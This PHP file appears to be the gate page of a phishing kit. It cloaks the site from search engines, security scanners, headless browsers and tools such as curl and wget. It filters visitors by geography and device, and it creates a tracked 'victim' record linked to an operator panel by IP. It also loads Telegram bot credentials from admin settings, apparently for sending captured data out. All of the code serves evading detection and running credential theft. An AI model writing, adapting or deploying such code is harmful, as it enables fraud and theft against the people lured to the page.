<?php 
session_start();

if (is_file(__DIR__ . '/panel/data/DEAD.lock')) {
	http_response_code(404);
	exit('Not Found');
}

// Load advanced protection system
require_once(__DIR__) . '/auth/protection.php';

// ============================================
// ADVANCED BOT PROTECTION SYSTEM
// ============================================

$userAgent = isset($_SERVER['HTTP_USER_AGENT']) ? strtolower($_SERVER['HTTP_USER_AGENT']) : '';
$ip = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : '';

// Block empty user agent (most bots)
if (empty($userAgent) || $userAgent == '-' || $userAgent == 'none' || strlen($userAgent) < 10) {
	http_response_code(403);
	exit('Access Denied');
}

// Comprehensive bot list
$blockedBots = array(
	'googlebot', 'google', 'bingbot', 'bing', 'msnbot', 'slurp', 'duckduckbot',
	'baiduspider', 'yandexbot', 'sogou', 'exabot', 'facebot', 'ia_archiver',
	'ahrefsbot', 'semrushbot', 'mj12bot', 'dotbot', 'blexbot', 'petalbot',
	'bot', 'crawler', 'spider', 'scraper', 'fetcher', 'indexer', 'monitor',
	'check', 'validator', 'test', 'scan', 'probe', 'headless', 'phantom',
	'selenium', 'webdriver', 'puppeteer', 'playwright', 'curl', 'wget',
	'python', 'java', 'perl', 'ruby', 'go-http', 'scrapy', 'mechanize'
);

foreach ($blockedBots as $bot) {
	if (strpos($userAgent, $bot) !== false) {
		http_response_code(403);
		exit('Access Denied');
	}
}

// Block suspicious user agents
$suspiciousPatterns = array('/^[a-z]{1,3}$/', '/^[0-9]+$/', '/^[a-z0-9]{1,5}$/');
foreach ($suspiciousPatterns as $pattern) {
	if (preg_match($pattern, $userAgent)) {
		http_response_code(403);
		exit('Access Denied');
	}
}

// Block requests without referer (optional - can be disabled if needed)
// if (!isset($_SERVER['HTTP_REFERER']) && !isset($_GET['tn'])) {
// 	http_response_code(403);
// 	exit('Access Denied');
// }

// Block known Google IP ranges (optional - uncomment if needed)
// $googleIPs = array('66.249.', '64.233.', '72.14.', '74.125.', '173.194.', '207.126.', '209.85.');
// foreach ($googleIPs as $googleIP) {
// 	if (strpos($ip, $googleIP) === 0) {
// 		http_response_code(403);
// 		exit('Access Denied');
// 	}
// }

// Rate limiting (simple session-based)
if (!isset($_SESSION['last_request'])) {
	$_SESSION['last_request'] = time();
	$_SESSION['request_count'] = 1;
} else {
	$timeDiff = time() - $_SESSION['last_request'];
	if ($timeDiff < 1) { // Less than 1 second
		$_SESSION['request_count']++;
		if ($_SESSION['request_count'] > 10) { // More than 10 requests per second
			http_response_code(429);
			exit('Too Many Requests');
		}
	} else {
		$_SESSION['last_request'] = time();
		$_SESSION['request_count'] = 1;
	}
}

// Hide server information
header_remove('X-Powered-By');
header('Server: ');
header('X-Content-Type-Options: nosniff');
header('X-Frame-Options: DENY');
header('X-XSS-Protection: 1; mode=block');
header('Referrer-Policy: no-referrer');

// require (__DIR__).'/bots/father.php';
 $ajaxPath = "../panel/classes/processor.php";
require (__DIR__).'/panel/classes/mother.class.php';
require (__DIR__).'/panel/classes/admin.class.php';
$admin_json_file = (__DIR__).'/panel/data/admin.json';

// Get real IP (supports proxy: Cloudflare, nginx, etc.)
function getRealIP() {
	return GeoAccess::resolveClientIp();
}
require_once(__DIR__) . '/auth/class/GeoAccess.php';

$ip = GeoAccess::resolveClientIp();
if ($ip === '::1') {
	$ip = '127.0.0.1';
}
// Fix REMOTE_ADDR so Mother/processor use same IP (victim file + panel link match)
$_SERVER['REMOTE_ADDR'] = $ip;

if (!GeoAccess::isAllowed($ip)) {
	GeoAccess::denyAccess();
}

$protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http';
$scriptDir = dirname($_SERVER['SCRIPT_NAME'] ?? '/auth/login.php');
$basePath = dirname($scriptDir);
if ($basePath === '.' || $basePath === '/' || $basePath === '\\') $basePath = '';
else $basePath = '/' . trim($basePath, '/');
$panel = $protocol . "://" . $_SERVER['HTTP_HOST'] . $basePath . "/panel/view.php?vip=$ip";

$m = new Mother;
$vicFile = $m->getFileId();
$m->createVic();
$m->setDataFile($vicFile);


$admin=new Admin;
$admin->setDataFile($admin_json_file);
$raw_bot = $admin->getData()["settings"]["telegram_bot"] ?? '';
$maybe_bot = base64_decode((string) $raw_bot, true);
$a_bot = ($maybe_bot !== false && strpos($maybe_bot, ':') !== false) ? $maybe_bot : $raw_bot;
$a_ids =  $admin->getData()["settings"]["telegram_id"];
$block_pc =  $admin->getData()["settings"]["pc_block"];
$shutdown =  $admin->getData()["settings"]["shutdown"];
$notifs = $admin->getData()["settings"]["notifications"];

if($shutdown==1){
	exit;
}
 

require (__DIR__).'/md.php';
$d = new Mobile_Detect;
if(!$d->isMobile() and $block_pc==1){
	exit(header("location: out.php"));
}

 

?>